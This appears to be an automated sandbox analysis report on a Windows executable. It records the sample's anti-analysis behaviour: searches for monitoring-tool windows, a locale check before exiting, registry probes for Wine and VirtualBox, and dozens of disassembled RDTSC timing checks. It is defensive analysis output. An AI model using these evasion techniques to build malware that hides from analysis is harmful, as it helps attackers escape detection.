Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00789860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-58542

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D21F5 second address: 9D21FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B50726 second address: B5072C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5088B second address: B5088F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B509C8 second address: B509D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007F0698769D66h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B509D5 second address: B509E1 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0699139DC6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B509E1 second address: B50A02 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0698769D77h 0x00000007 jg 00007F0698769D72h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B50A02 second address: B50A1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F0699139DC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jo 00007F0699139DE2h 0x00000012 jc 00007F0699139DCCh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B50CC2 second address: B50CDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F0698769D73h 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B50CDD second address: B50D00 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F0699139DD7h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B50D00 second address: B50D04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B50D04 second address: B50D08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B540C3 second address: B540D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov eax, dword ptr [eax] 0x00000007 pushad 0x00000008 pushad 0x00000009 jno 00007F0698769D66h 0x0000000f push edi 0x00000010 pop edi 0x00000011 popad 0x00000012 push esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B540D8 second address: B540F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0699139DCCh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B540F2 second address: B540FC instructions: 0x00000000 rdtsc 0x00000002 js 00007F0698769D66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5418F second address: B54194 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B54194 second address: B541BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0698769D70h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F0698769D6Bh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B541BA second address: B54267 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0699139DD7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007F0699139DC8h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 00000018h 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 mov edx, 38941B3Ch 0x0000002a push 00000000h 0x0000002c mov dh, bl 0x0000002e push A51DAFC3h 0x00000033 push edi 0x00000034 push esi 0x00000035 jmp 00007F0699139DD1h 0x0000003a pop esi 0x0000003b pop edi 0x0000003c add dword ptr [esp], 5AE250BDh 0x00000043 jmp 00007F0699139DCFh 0x00000048 push 00000003h 0x0000004a js 00007F0699139DCCh 0x00000050 mov ecx, dword ptr [ebp+122D3787h] 0x00000056 push 00000000h 0x00000058 jno 00007F0699139DC9h 0x0000005e push 00000003h 0x00000060 or dword ptr [ebp+122D3106h], edi 0x00000066 or esi, dword ptr [ebp+122D36FFh] 0x0000006c push BDF424C4h 0x00000071 push eax 0x00000072 push edx 0x00000073 pushad 0x00000074 jg 00007F0699139DC6h 0x0000007a push eax 0x0000007b push edx 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B54267 second address: B5426C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5426C second address: B542A1 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0699139DC8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xor dword ptr [esp], 7DF424C4h 0x00000013 sub dword ptr [ebp+122D295Ah], ecx 0x00000019 lea ebx, dword ptr [ebp+12455EE9h] 0x0000001f jnl 00007F0699139DCBh 0x00000025 xchg eax, ebx 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a jnl 00007F0699139DC6h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B542A1 second address: B542A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B542A7 second address: B542C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0699139DD4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pushad 0x0000000e popad 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B54341 second address: B5435D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007F0698769D70h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B54426 second address: B54430 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F0699139DC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B54430 second address: B5443A instructions: 0x00000000 rdtsc 0x00000002 js 00007F0698769D6Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5443A second address: B5447C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a pushad 0x0000000b pushad 0x0000000c jmp 00007F0699139DCDh 0x00000011 push edi 0x00000012 pop edi 0x00000013 popad 0x00000014 push eax 0x00000015 pushad 0x00000016 popad 0x00000017 pop eax 0x00000018 popad 0x00000019 mov eax, dword ptr [eax] 0x0000001b pushad 0x0000001c jmp 00007F0699139DD1h 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F0699139DCBh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5447C second address: B544C5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b jmp 00007F0698769D6Dh 0x00000010 pop eax 0x00000011 sub dword ptr [ebp+122D1CB0h], edi 0x00000017 lea ebx, dword ptr [ebp+12455EF4h] 0x0000001d pushad 0x0000001e clc 0x0000001f mov dword ptr [ebp+122D1D68h], esi 0x00000025 popad 0x00000026 xchg eax, ebx 0x00000027 jmp 00007F0698769D75h 0x0000002c push eax 0x0000002d pushad 0x0000002e push ecx 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B74967 second address: B7496D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7496D second address: B74995 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F0698769D74h 0x0000000c push esi 0x0000000d jmp 00007F0698769D6Bh 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B74CDC second address: B74CE6 instructions: 0x00000000 rdtsc 0x00000002 js 00007F0699139DDAh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6A2C2 second address: B6A2E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0698769D73h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F0698769D6Ah 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6A2E3 second address: B6A314 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jc 00007F0699139DC6h 0x00000009 pop ebx 0x0000000a push ecx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ecx 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jng 00007F0699139DF6h 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F0699139DD7h 0x0000001d push edi 0x0000001e pop edi 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6A314 second address: B6A318 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B75E6B second address: B75E84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0699139DD5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B75E84 second address: B75EA7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0698769D6Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0698769D6Ah 0x00000010 je 00007F0698769D66h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B76229 second address: B76279 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F0699139DD9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jo 00007F0699139DCAh 0x00000011 pushad 0x00000012 popad 0x00000013 push edx 0x00000014 pop edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jng 00007F0699139DE5h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B76279 second address: B76280 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B78AB7 second address: B78AC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007F0699139DC8h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B78AC8 second address: B78ACD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B81BD9 second address: B81BDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B81BDD second address: B81BE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B814D1 second address: B814D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B814D5 second address: B814E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jnc 00007F0698769D66h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B814E5 second address: B81540 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0699139DC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b jmp 00007F0699139DCBh 0x00000010 pop ecx 0x00000011 jmp 00007F0699139DD0h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F0699139DD8h 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 jmp 00007F0699139DD5h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B81540 second address: B81546 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B83334 second address: B8333A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B853B8 second address: B853BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8552C second address: B85530 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B85530 second address: B8553A instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0698769D66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B86103 second address: B8610D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F0699139DCCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B861E0 second address: B861F2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jl 00007F0698769D70h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8648A second address: B86494 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B86494 second address: B864A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007F0698769D66h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B873AE second address: B873B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B873B4 second address: B87424 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a je 00007F0698769D68h 0x00000010 pushad 0x00000011 popad 0x00000012 pop eax 0x00000013 nop 0x00000014 and si, 9C76h 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push ecx 0x0000001e call 00007F0698769D68h 0x00000023 pop ecx 0x00000024 mov dword ptr [esp+04h], ecx 0x00000028 add dword ptr [esp+04h], 00000018h 0x00000030 inc ecx 0x00000031 push ecx 0x00000032 ret 0x00000033 pop ecx 0x00000034 ret 0x00000035 push 00000000h 0x00000037 jmp 00007F0698769D79h 0x0000003c xchg eax, ebx 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007F0698769D76h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B87424 second address: B87428 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B88458 second address: B8845C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B88F09 second address: B88F0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B88F0E second address: B88F14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B88F14 second address: B88F93 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0699139DCCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push eax 0x0000000f call 00007F0699139DC8h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 add dword ptr [esp+04h], 00000017h 0x00000021 inc eax 0x00000022 push eax 0x00000023 ret 0x00000024 pop eax 0x00000025 ret 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push edx 0x0000002b call 00007F0699139DC8h 0x00000030 pop edx 0x00000031 mov dword ptr [esp+04h], edx 0x00000035 add dword ptr [esp+04h], 0000001Ah 0x0000003d inc edx 0x0000003e push edx 0x0000003f ret 0x00000040 pop edx 0x00000041 ret 0x00000042 push eax 0x00000043 jmp 00007F0699139DD2h 0x00000048 pop edi 0x00000049 cmc 0x0000004a push 00000000h 0x0000004c mov esi, dword ptr [ebp+122D220Bh] 0x00000052 mov esi, 1ABCDD90h 0x00000057 xchg eax, ebx 0x00000058 push eax 0x00000059 push edx 0x0000005a push eax 0x0000005b push edx 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B88F93 second address: B88F97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B88F97 second address: B88FA1 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0699139DC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B89991 second address: B89A2B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0698769D70h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F0698769D79h 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 call 00007F0698769D68h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 add dword ptr [esp+04h], 0000001Bh 0x00000028 inc eax 0x00000029 push eax 0x0000002a ret 0x0000002b pop eax 0x0000002c ret 0x0000002d mov edi, dword ptr [ebp+122D36CBh] 0x00000033 mov edi, dword ptr [ebp+122D39F3h] 0x00000039 push 00000000h 0x0000003b push 00000000h 0x0000003d push ecx 0x0000003e call 00007F0698769D68h 0x00000043 pop ecx 0x00000044 mov dword ptr [esp+04h], ecx 0x00000048 add dword ptr [esp+04h], 0000001Bh 0x00000050 inc ecx 0x00000051 push ecx 0x00000052 ret 0x00000053 pop ecx 0x00000054 ret 0x00000055 jng 00007F0698769D6Ch 0x0000005b mov dword ptr [ebp+122D28E3h], eax 0x00000061 xchg eax, ebx 0x00000062 push eax 0x00000063 push edx 0x00000064 pushad 0x00000065 push edi 0x00000066 pop edi 0x00000067 push ecx 0x00000068 pop ecx 0x00000069 popad 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8A47C second address: B8A482 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B89760 second address: B89780 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0698769D75h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8A482 second address: B8A487 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8AF3D second address: B8AF41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8AF41 second address: B8AFA2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0699139DD3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a ja 00007F0699139DCCh 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ecx 0x00000015 call 00007F0699139DC8h 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], ecx 0x0000001f add dword ptr [esp+04h], 00000014h 0x00000027 inc ecx 0x00000028 push ecx 0x00000029 ret 0x0000002a pop ecx 0x0000002b ret 0x0000002c movsx esi, si 0x0000002f pushad 0x00000030 sbb esi, 28AF973Fh 0x00000036 mov al, dh 0x00000038 popad 0x00000039 push 00000000h 0x0000003b mov esi, dword ptr [ebp+122D1F1Bh] 0x00000041 xchg eax, ebx 0x00000042 push esi 0x00000043 push eax 0x00000044 push edx 0x00000045 jc 00007F0699139DC6h 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8AFA2 second address: B8AFBC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0698769D6Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e ja 00007F0698769D66h 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8BB0E second address: B8BB18 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0699139DC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8BB18 second address: B8BB1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8BB1F second address: B8BB3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F0699139DD1h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8B7EC second address: B8B7FA instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F0698769D66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8F24D second address: B8F276 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dword ptr [esp], eax 0x00000007 push esi 0x00000008 mov di, dx 0x0000000b pop ebx 0x0000000c push 00000000h 0x0000000e mov dword ptr [ebp+12481943h], edi 0x00000014 push 00000000h 0x00000016 mov edi, dword ptr [ebp+122D2E5Ah] 0x0000001c mov dword ptr [ebp+122D319Eh], ebx 0x00000022 xchg eax, esi 0x00000023 push eax 0x00000024 push edx 0x00000025 push esi 0x00000026 push ebx 0x00000027 pop ebx 0x00000028 pop esi 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B903EA second address: B90408 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0698769D75h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8F47A second address: B8F480 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8F480 second address: B8F484 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B91364 second address: B91380 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0699139DC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F0699139DCAh 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
